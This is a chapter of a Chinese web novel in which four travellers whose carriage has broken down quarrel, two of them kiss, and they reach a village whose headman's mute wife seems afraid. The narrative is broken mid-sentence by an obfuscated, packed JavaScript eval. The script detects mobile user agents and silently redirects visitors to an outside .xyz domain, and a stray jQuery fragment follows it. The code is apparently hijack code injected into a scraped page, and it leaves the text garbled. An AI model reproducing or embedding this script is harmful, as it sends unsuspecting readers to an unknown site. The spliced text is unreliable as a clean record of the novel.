熙盛四年,一月初六,立春。
兢兢业业的老年马车终于不堪重负,于乡间小路土崩瓦解。驾车的马夫骂骂咧咧,捂着被破开大口的棉裤向宋铮讨要一笔赔偿金后,驾马疾驰而去,徒留原地四人面面相觑。
卓盈袖难得有些不好意思,略带扭捏地挪到宋铮身前,轻声道:“这赔偿金我会还你。”
宋铮不甚在意地摆摆手,有李舜华父母给的金银盘缠在,倒也不愁吃喝交通。
只是......她抬头扫过四周荒凉的土地,心中默默叹了口气。
只是有钱归有钱,这周围却也没有什么能给他们购买马车的地方。
若是宋尚在这里也许还能带着他们找到最近的一处村庄,但现在在这里的四个,却都是盲人骑瞎马——只能乱闯乱碰。
想起卓盈袖父亲的商人身份,宋铮试探道:“卓姑娘可曾跟父亲路过这里?或者可曾听父亲讲故事时提到此地?”
听闻此言,卓盈袖嗤笑一声,神色间是毫不遮掩的嘲讽:“讲故事?什么人会给商品讲故事?”
“......”这态度可与您状告张炜时的态度不同啊卓姑娘!
虽然心中嘀咕,但宋铮也曾隐隐有过猜测,此时得到当事人认定也不算意外。
李舜华手捧书卷,面朝一根树干默默温习,阿玖独自站在一边不知在垂眸思索什么。宋铮扶额叹了口气:“没办法,先向前走吧,我们还有干粮和水,走着走着总会到的。”
其余三人自是没有异议,几人整整行装,分了分行李,在原地留下两床被褥,背着剩下的包裹继续向前走。
刚刚立春,寒风仍然刺骨,身上的棉服根本起不到什么保暖的作用。但随着运动量的提升,身侧的冷风似乎也变得不那么难挨。
与之相对的是,当四人蹲在地上,第三次啃着一块干裂僵硬的馒头时,阿玖终于忍受不住,“我要吃肉。”
宋铮:“你吃树皮。”
阿玖蹙眉丢回手中被啃了一半的馒头:“什么时候能到?”
宋铮心头哽着一口气不上不下,看到阿玖不满的神情也迸出几分烦躁:“我怎么知道!卓姑娘和舜华兄都能吃,怎么就你娇气?”
“就我娇气?”阿玖站起身,盯着她冷冷笑了一声,“对,我就是娇气,你跟另外两个不娇气的人去京城好了,管我一个病痨鬼作甚?”
话音落下,阿玖捡起方才被他丢下的馒头,高高扬了出去。僵硬馒头落地,发出一声并不明显的“砰”。
见此场景,宋铮心头火骤起:“你有完没完?馒头你不吃我们不吃吗?”
李舜华有些不安地放下手中书卷,站到宋铮身旁,“没什么大事,筝姐儿你消消气。”
宋铮深呼吸两下,理智稍稍回归,“我们休息一会就出发,村庄之间不会相隔太远,明天应当就会看到落脚之地。你......你别急。”
阿玖嘴唇紧抿,眼角却泛出一丝微红,身旁的手攥紧又松开,半晌才从嗓子口中挤出一句:“你们自己落脚去吧。”
说完后,他一瞬不停,直接转身朝相反方向急速走去。
宋铮愣了一下才反应过来,猛地起身朝他背影喊道,“你要去哪!”
月如银钩,勾勒出他消瘦挺拔的身形。如墨的长发在寒风中飞扬,像是要将他推入深渊。
忽然,他的背影几不可察地晃动一瞬。宋铮心中暗骂一声,飞快朝前奔去。
“你到底在犟什么啊!你知不知你身体是什么状况!”
直至与阿玖面对面,宋铮才注意到他惨败的面色与几欲破碎的瞳孔。阿玖也才看清她眼中燃着的灼灼火光,似能燃尽他心中疯涨的欲念。
“你不是有同行的伙伴了吗......”阿玖喃喃一句,双手环抱住宋铮的腰,低头撞上她微张的嘴唇。
宋铮双眼猛地睁大,下一刻,响亮的巴掌声响彻天地。
李舜华猛地收回视线,心有余悸道:“怎么办怎么办?我们的四人队伍这就要变成三人小队了吗?”
“想多了。把你踢出去他们都散不了。”卓盈袖将刚捡回的馒头丢到阿玖布包里,托着脸看那边对峙的两人,叹了口气:“这样纯情又大胆的人,这世间竟然有两个。”
不远处,阿玖侧过脸,莹白脸颊上的红色掌印分外显眼。
宋铮愣愣地看了一眼自己的手,又着急忙慌地凑近阿玖,想要伸手去触碰那一块艳红,又惴惴地收回手。
“对不起,我,那个什么,条件反射。你说话就说话,老乱亲什么!”
阿玖闭眼摇摇头,声音嘶哑:“是我的错。我离开。”
宋铮急急拉住他的胳膊,“欸欸欸,错就错了,你跑什么?大半夜自己跑,你还想不想活了?”
“你不怨我?”
“......现在不是说这个的时候,你先跟我回去,我们先找到一处落脚地。”
阿玖顺着她的力道走出两步,漆黑幽深的瞳孔中渐渐现出几丝涟漪,涟漪范围越阔越大,几乎要脱离控制。他猛地闭上眼睛,脚下动作也停在原地。
宋铮用力一扯没扯动,疑惑转身看向他,“怎么了?”
“......宋铮。”
“嗯?”
“我想亲你。”阿玖睁开眼睛,眼中暗火令人心惊,“我......还是想亲你。”
“......”
宋铮呆滞地站在原地,两人视线一上一下交织在一起,周围氛围开始焦灼,空气逐渐稀薄,宋铮感觉自己有些呼吸不畅,下意识咽了咽口水。
不知是谁先靠近,两人距离越来越近,宋铮已经感受到阿玖微凉的呼吸。
“那个......卓姑娘让我过来问一下我们可以继续走了吗?”
两人动作戛然而止。
宋铮猛地惊醒,踉跄着后退数步。不敢置信地看向用书卷遮住眼睛的李舜华。
她张口想要说点什么,又被一股无形的空气哽住喉咙,只能原地跺了下脚,掉头就跑。
卓盈袖已经收拾好地上的包袱,见宋铮跑回来,她脸上不见意外,一手递给她一件包袱,一手将她脸颊旁的碎发拨到耳后。
“连个名分都没给你就让他亲?美的他。”
没想到卓盈袖突然说这个,宋铮喉管一呛,爆发出一阵震天响的咳嗽。
好不容易稳住呼吸,阿玖与李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932514|151136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舜华终于赶到附近,宋铮眼神复杂地看卓盈袖一眼,又不忍直视地对她抱拳致意。
不出宋铮所料,第二日傍晚,待落日余晖洒上众人眼睫,一片热闹的村落终于出现在眼前。
历经两日奔波,四人的形象都有几分狼狈,像极了前来逃荒的难民。
直到宋铮将手中的银锭子撂到面前的村长面前,这位胡子花白的老村长才收回警惕怀疑的目光,唤来妻子为他们整理房间。
一个银锭子只换来五天的休整时间,卓盈袖站在门边啐了一声,暗骂是个村长黑心瞎肝的奴才。宋铮倒是不太介意,反正他们也只是稍作休整,本也不打算在这里留太长时间。
村长的妻子是个身材纤细苗条的女子,只是瘦的有些脱了相。她在主屋、客房与厨房来往忙碌,搬移的被子比她整个人都要重,宋铮颇有些于心不忍,开口唤住她:
“大娘,我帮你搬吧。”
大娘摇摇头,目光躲闪地绕过宋铮,垂头继续佝偻着腰背向客房走去。宋铮张口想再说些什么,却见大娘很是慌乱般猛地向屋内冲去,脚下一不留神踩上一颗尖锐的石子。
“!!”大娘眼睛猛地瞪大,张了张嘴,却只发出几声嘶哑的“嗬嗬”。
被棉被覆盖的身躯轰然倒塌,发出一声令人牙酸的“砰”。
宋铮瞳孔一缩,连忙上前搀扶起她。大娘挣扎着爬起身,推开宋铮的手,如同被洪水猛兽盯着一般快速逃进屋内。
宋铮站在原地,垂眸看着身前浮起的扬尘,眉头紧缩。
“怎么了?”阿玖的声音自身侧传来,带着担忧,“你站这里太久了。”
宋铮抬头,越过阿玖看向远处的村长,摇了摇头,“没什么,回屋吧。”
客房已被大娘收拾过一遍,地面干净整洁,方才粘过土的被子也被好好打理干净,铺在床铺上。
四人缩在房间一角,围成一个不大不小的圈子。
卓盈袖侧头看向宋铮,轻声开口“宋姑娘,把我们都叫来有什么事吗?”
“村长给我的感觉不太好。”宋铮揉揉额头,“这家的大娘貌似是一位哑妇。”
这两句话乍一看有些莫名其妙,可两天一夜没睡,此时她的精神状态也着实称不上好,宋铮打了个哈欠,接着道:“可能是我想多了但是,我们今晚还是住一起吧。”
他们现在是不差钱的主儿,特殊情况外,他们还是男女分开住更好。是以他们刚刚找到村长的时候,便一口气订下了他家的两间客房。
但自从见到这位村长的妻子,她的心中就一直笼罩着一股莫名的不适感。这个时代的名誉虽重要,可与性命安全相比,当然是性命更重要。
卓盈袖当然可以理解,她干脆地点点头,“既然这样,这两天我们不论做什么都要结伴而行,万万不可独自行动。李兄,待会我们去另一间客房取来棉被。”
李舜华赞同地点点头,其实他也不太想和阿玖睡一个屋!这位阿玖公子好看归好看,却有些太冷了,而且一天比一天冷!
阿玖不知道李舜华的腹诽,他看着宋铮眼下大大的黑眼圈,沉默一会突然开口道:“明日一早我便去找辆新马车,我们明天就走。”